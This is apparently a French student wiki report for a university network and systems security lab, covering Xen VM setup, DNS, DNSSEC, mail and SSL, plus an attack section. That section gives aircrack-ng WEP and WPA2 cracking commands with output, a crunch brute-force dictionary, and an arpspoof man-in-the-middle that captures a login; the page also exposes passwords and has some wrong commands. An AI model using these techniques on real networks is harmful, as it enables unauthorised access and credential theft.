link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
<br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
<br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54019TP sysres IMA2a5 2020/2021 G52020-11-27T17:19:46Z<p>Aglaine : /* Utilisation de AirCrack pour clef WPA2-PSA */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
